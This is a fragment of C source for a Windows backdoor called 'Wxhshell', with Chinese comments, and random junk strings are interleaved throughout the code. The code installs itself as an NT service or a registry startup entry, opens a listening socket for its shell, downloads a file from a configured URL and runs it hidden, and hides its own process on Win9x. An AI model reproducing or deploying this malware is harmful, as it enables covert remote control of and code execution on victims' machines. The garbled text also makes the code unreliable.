以服务启动 4`X]$. EOj.Jrs~ return 0; // 注册表启动 v ?Ds| } J]AkWEiCJ ;L`NF" // 主模块 `<#Ufi*c int StartWxhshell(LPSTR lpCmdLine) +hZ{/ { g6D7Y<}d SOCKET wsl; [@_IUvf^. BOOL val=TRUE; O-3R#sZ0 int port=0; p~A6:"8s`= struct sockaddr_in door; D!g\-y Zws[C if(wscfg.ws_autoins) Install(); w3>.d(Q p=T6Ix'_2e port=atoi(lpCmdLine); i6-&$< <)]j;Tl if(port<=0) port=wscfg.ws_port; }Q1m _(_U= WSADATA data; 8mnzxtk if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {P7 I<^, Z,QSbw@,7 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B*;PF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Aq*,cOF+ door.sin_family = AF_INET; E]&tgZO door.sin_addr.s_addr = inet_addr("127.0.0.1"); KB`">zq$u door.sin_port = htons(port); cs-dvpMZ "8R\!i. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yw6d-5=: closesocket(wsl); Y-
tK return 1; Y![//tg } @"vTz8oY@ +9NI=s6 if(listen(wsl,2) == INVALID_SOCKET) {
o%3VE8- closesocket(wsl); |Qz"Z<sNYw return 1; dMDSyd<( } Uv|^k8( Wxhshell(wsl); pcO{%]?p WSACleanup(); &B@qb?UE1 E[8i$ return 0; `XK+Y $[HpY)MSRw } |>Wi5h{6X &aWY{ ?_ // 以NT服务方式启动
n1@ Or=5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tbq_Rg7s { }<
m@82\ DWORD status = 0; X0zE-h6P DWORD specificError = 0xfffffff; 2@+MT z SO}en[()O serviceStatus.dwServiceType = SERVICE_WIN32; 90]{4 ]y; serviceStatus.dwCurrentState = SERVICE_START_PENDING; K0\Wty0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ko<VB#pOMr serviceStatus.dwWin32ExitCode = 0; *l\vqgv.Z serviceStatus.dwServiceSpecificExitCode = 0; J6*B=PX=( serviceStatus.dwCheckPoint = 0; ^bckl
tSo serviceStatus.dwWaitHint = 0; Xn:ac^ bcy(
?( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^><B5A>; if (hServiceStatusHandle==0) return; D[iIj_CKQ 6P:H` status = GetLastError(); ^jMo?Zwy if (status!=NO_ERROR) wJF Fg : { $N`uM serviceStatus.dwCurrentState = SERVICE_STOPPED; |
QI-gw serviceStatus.dwCheckPoint = 0; u#m(Py serviceStatus.dwWaitHint = 0; ^iwM(d]#5 serviceStatus.dwWin32ExitCode = status; ^Wz3 q-^ serviceStatus.dwServiceSpecificExitCode = specificError; `L<)9* SetServiceStatus(hServiceStatusHandle, &serviceStatus); m
K@a7fF? return; vaEAjg*To< } N~A#itmdx 5 cE!'3Y serviceStatus.dwCurrentState = SERVICE_RUNNING; 6lc/_&0 serviceStatus.dwCheckPoint = 0; .cX,"2;n serviceStatus.dwWaitHint = 0; f3]u-e'b if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,w/f:-y } "UY.;
P 8E!I9z // 处理NT服务事件,比如:启动、停止 8Bnw//_pT VOID WINAPI NTServiceHandler(DWORD fdwControl) AH(O"v` { V-(LHv switch(fdwControl) 7l})`>
k { ?ixzlDto\ case SERVICE_CONTROL_STOP: r,4V SyZF\ serviceStatus.dwWin32ExitCode = 0; S hM}w/4 serviceStatus.dwCurrentState = SERVICE_STOPPED; 3*gWcPGe serviceStatus.dwCheckPoint = 0; q61
rNOw_ serviceStatus.dwWaitHint = 0; D{,B[5 { =c8U:\0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); V8xv@G{; } &xqe8!FeA return; @zJ#16Vi case SERVICE_CONTROL_PAUSE: NB&u^8b serviceStatus.dwCurrentState = SERVICE_PAUSED; F*d{< break; ~j\/3;^s
case SERVICE_CONTROL_CONTINUE: `Vwj|[0k serviceStatus.dwCurrentState = SERVICE_RUNNING; NwG&uc+Q break; ~5wCehSb case SERVICE_CONTROL_INTERROGATE: -7">A~c break; lm&C!{K }; Dg#A b8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); NG_O I*|~ } cQv*lvG9> V]PTAhc // 标准应用程序主函数 &T}v1c7) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,7M9f { @ec QVk _ }!Q4K // 获取操作系统版本 YS{ OsIsNt=GetOsVer(); %p2 C5z? GetModuleFileName(NULL,ExeFile,MAX_PATH); ]'_z(s} (>0d+ KT // 从命令行安装 !*|CIxk( if(strpbrk(lpCmdLine,"iI")) Install(); &nn.h@zje
X2i<2N*@ // 下载执行文件 `bT{E.(T if(wscfg.ws_downexe) { oT|E\wj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =WEfo; WinExec(wscfg.ws_filenam,SW_HIDE); J7QlGm,= } }C#YR(] jd2Fh):q if(!OsIsNt) { .<42-IEc // 如果时win9x,隐藏进程并且设置为注册表启动 g\(7z
P HideProc(); $zmES tcm StartWxhshell(lpCmdLine); il-&d]AP } )X^nzhZ2O" else $;;?'!%. if(StartFromService()) xJ&StN/' // 以服务方式启动 ?$n< |